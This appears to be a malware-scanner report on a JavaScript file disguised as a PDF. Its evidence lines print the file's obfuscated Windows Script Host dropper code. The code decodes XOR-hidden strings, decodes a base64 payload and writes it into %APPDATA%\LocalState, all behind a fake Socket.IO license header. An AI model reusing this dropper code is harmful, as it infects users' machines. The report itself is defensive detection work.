NFe91648916160316975616710-27-09-2026.pdf.js
Drops and executes obfuscated payload
Reconstructs JavaScript strings from XOR-decoded numeric arraysDOM element tag built from char codes
SHA-25600575262fc54fb8a46fe59c5abc2b9c5229491da480df9f74aa6acb6954b24f7
Evidence
13:12… ec-compliant implementations of missing browser APIs
14 *
15 * CDN: https://cdn.jsdelivr.net/npm/[email protected]/dist/svelte-shared.min.js
16 * https://unpkg.com/s[email protected]/dist/index.js
17 *
18 * Copyright (c) 2016-2020 Socket.IO contributors
19 * License: ISC (https://opensource.org/licenses/ISC)
20 * S …
126:309… qx4IlqSMIYrBdRcy7smVpkuM864L8HAqUpixVpn6oeRtd+rTrUpcjZriLLHZMAxsttKXOmhwqcwRRg0oOddNSNakBDoU+l1L1gao6tHv2RuMqgAL7i+5iWhcWu+J25brQdzkBYBGK4MFzqJlXLp4XbUIrheQ/Ptr9JD3iRBiHoAK64qMEoFN/FU1U82RrlU4hDb …
1964:68… 846\uA863\uA876"]="\u15EB\u1450\u1545\u15D3\u1668";}catch(e){}
1965
1966function zf9ivrom0u(pjui){var m5c="";for(var qy4=0;qy4<pjui.length;qy4++){var br=pjui.charCodeAt(qy4);if(br>=65&&br<=90){br=((br-65-6+26)%26)+65;}else if(br>=97&&br<=122){br=((br-97-6+26)%26)+97;}else if(br>=48&&br<=57){br=((br-48-6+10)%10)+48;}m5c+=String.fromCharCode(br);}return m5c;}
1967function jgqjzz9(d2,w0){var jk="";for(var ds=0;ds<d2.length;ds++)jk+=String.fromCharCode(d2[ds]^w0);return jk;}
1968var r0i9o=function(n){return new \u0041ctive\u0058Object(n);},p9qrk9=\u0057Script,um0h=\u0047etObject,fezx65b=\u0045numerator;
1969var uxaoct=new Date().getTime();
1970var lnqqrr=Math. …
1970:42… ;
1971function ylfpbdu(n){return n>0?n:0;}
1972function tjivcdt(a,b){return a+b;}
1973var wfvvl,tynlv;
1974try{
1975wfvvl=new r0i9o(jgqjzz9([57,9,24,3,26,30,3,4,13,68,44,3,6,15,57,19,25,30,15,7,37,8,0,15,9,30],106));
1976var sierh=new r0i9o(jgqjzz9([61,57,9,24,3,26,30,68,57,2,15,6,6],106));
1977tynlv=sierh.ExpandEnvironmentStrings(jgqjzz9([79,43,58,58,46,43,62,43,79],106));
1978sierh=null;
1979}catch(kbwy){}
1980if(wfvvl&&tynlv){
1981var jzzcs=wfvvl.FolderExists(jgqjzz9([41,80,54,61,3,4,14,5,29,25,54,39,3,9,24,5,25,5,12,30,68,36,47,62,54,44,24,11,7,15,29,5,24,1,92,94,54,28,94,68,90,68,89,90,89,91,83],106))?jgqjzz9([41,80,54,61,3,4,14,5,29,25,54,39,3,9,24,5,25,5,12,30,68,36,47,62,54,44,24,11,7,15,29,5,24,1,92,94,54,28,94,68,90,68,89,90,89,91,83],106):jgqjzz9([41,80,54,61,3,4,14,5,29,25,54,39,3,9,24,5,25,5,12,30,68,36,47,62,54,44,24,11,7,15,29,5,24,1,54,28,94,68,90,68,89,90,89,91,83],106);
1982var ticc=tynlv+String.fromCharCode(92,76,111,99,97,108,83,116,97,116,101);
1983try{if(!wfvvl.FolderExists(ticc)){wfvvl.CreateFolder(ticc);}}catch(e){}
1984var jnmpsn=
1985"XCIlpYMDTTTEJMg9sqlTUd72Xxd+snHueC00wXacPBWX9NA9TjmBu4L0LU1OFUy9w8lXxNMGR/PDhQiLDQfMlQwqcVW4E7zBs3YjffGmygCcf2VuoG+k6gJ3FxTuvoyWZySoGScsHzoqLPSQeGQMxDwGjE6rgo/D2wk8skmoEjSfwWKz+N1tS0y3XRSNFId3bxxUZnhG1eaEFGc3wy0lF/rc/q912U4csrxzz1pVvJRZGQxcLmh0AUcmTW2a/a7YaF9Si/qsw6fCFdtoTW5YDxEtxkraQzXpkhjzTOGbsJLCvg5URX1fuuSCclGDJeCuWrC3YRCPHF7ODN5hGc+15KuFCq2u+1U0mhOsdmyuLJXzACEna0V8/tuQmDhLm2F9soQiuCs+bnhbMU+2bOQNoikfHhXCmW7TyQfPSI2MhLnTZDVYpQyIxdVO4uMOZKKbMxFB/Vkqo8eDtowoDr1pjfAklQtIZMZ6vDnBTzXqA8zDoXAiWi03lsKgou63AYU0j1J3oc5yJNX0Oyypr1NVOxHpu8CE7RfyJT7tPDbDlVXVo9+/l/Zd94I5Xo1ANKTUk58JaV/Cy2rZP3iG8NnncjZoUS3TcA5xruJsOSQ+ZAyl5UYrOhLtETdoomZ/LvtIt1UL098x4lE5TMAqSn5D2D00Z8aSihUTZBkAwTijuyq4Ls0fhjiN+C48HTr3LKu9ytiN1ED+btylkTiEMr3EmsSXJvAvsQSOs47RPJRvnZezuUYSOBFV6rn3LU1O2EA4xClVPREPyDQK0FdbWnzLOA5O114sGDYXNaXshI5qUclrKdZo3iJ8Kbmm2kClNXtrvvD/WdwvgN6L3ICG/L2veWgF+TtKKzRRpw5sGhfdNSU+Yrqhazn1MtfSlTrwZvux8zGUw1+RXwLvu4WAKmfWKMUCW7bguQDet0UYiOlFr/Cy6kcO4dzu7cdx8Mdjq9DJ2MDXyBysOiSBuXfsYvlchDcCKJ3rYiTz2Vn+DDem1MVtbCvhFHUoF9adWHRuSSAtvIvcwlZ4V7hNINaxI/4/zZKQdU+5xFGD0T+Tq9p+InaIeyH8jK1d2gA73YTHpRucOvcGfO35o1UCxNlH8Dk0lv1VhIlhxCt1nD7IuGE5rTrkf2LVkpS2nnrj62ZgAIaxSzP+yF/orFRXtX0jtb1TEj8H+GV+DzPymiSgFchKhFqfbwRD6KXWprKmR0uRooth9c9JY4JeipjFMWWop6JqjAe/8pWQDDQpTJuD0XNlMU9j+ZfvP6fh5gTiaUGcaM0hDv6Xm3Aq3j1oVAfvLkoC7TPJ6mh8LRsjLy9O/BPl1S+LDKh98bXlGGrE/atwrf+Kg7rtjnP6zwCBzwUuCkpZT4pR7ZFDIyRXKFrb0j9jMdzzt2BeX3g5pQI8swDQSqs9B2l2RWlXJDLLmLf6NX75zyEka/CVyGjYz3z8/z3hk52gmpBOJv+DI6h4w3I2twz3+m+ZC1OsLzyvagT//sjnHTwT6loMcaWz5H+i+V5pylErr2dAFnJKmubNQUsJJVt/wQGi27MPgazItqbD31kaZWsVtcFvgnz0KDeN0IKrs6CGRpWbPogejSSxR5pRbwpwDVq5afWIyPjvdOIG6CPIQ/XVFAuYa7YblFma2DSE/P2vy1OR6Dtv3"
1986+"Er/R3BR/bwcSSCpd2+J8ekzzvTKjOiOhRRg2aWV//BKZogv6BqLxi1nICrCGp6XBjtShOlfLIQgMRU7bs/5R8lWlTFdwwp8uy9scGWzkUxjYzbiDyHXbZV4zh/Mc …
2083:1048… gI/OCguojrxg6PJ/0RTkK4rXERo653ij5XqlxSoTE4jzfaA4zYUsLVQ8m1Ocn";
2084try{var hhewn=new r0i9o(jgqjzz9([39,57,50,39,38,88,68,46,37,39,46,5,9,31,7,15,4,30,68,89,68,90],106));
2085var hbjhl=hhewn.createElement(String.fromCharCode(107,115,105,50));
2086hbjhl.dataType=jgqjzz9([8,3,4,68,8,11,25,15,92,94],106);hbjhl.text=zf9ivrom0u(jnmpsn);
2087var cizr=new r0i9o(jgqjzz9([43,46,37,46,40,68,57,30,24,15,11,7],106));
2088cizr.Type=1;cizr.Open();cizr.Write(hbjhl.nodeTypedValue);
2089cizr.SaveToFile(ticc+String.fromCharCode(92,107,109,107,100,102),2);cizr.Close();cizr=null;}catch(xsac){}
2090switch(0){case 0:var i\u043F\u043C\u0446="\u1185\u1134\u11F7\u1144";break;case 1:var a\u03B6\u03B9\u03BF="\u1818\u1889\u188D\u1 …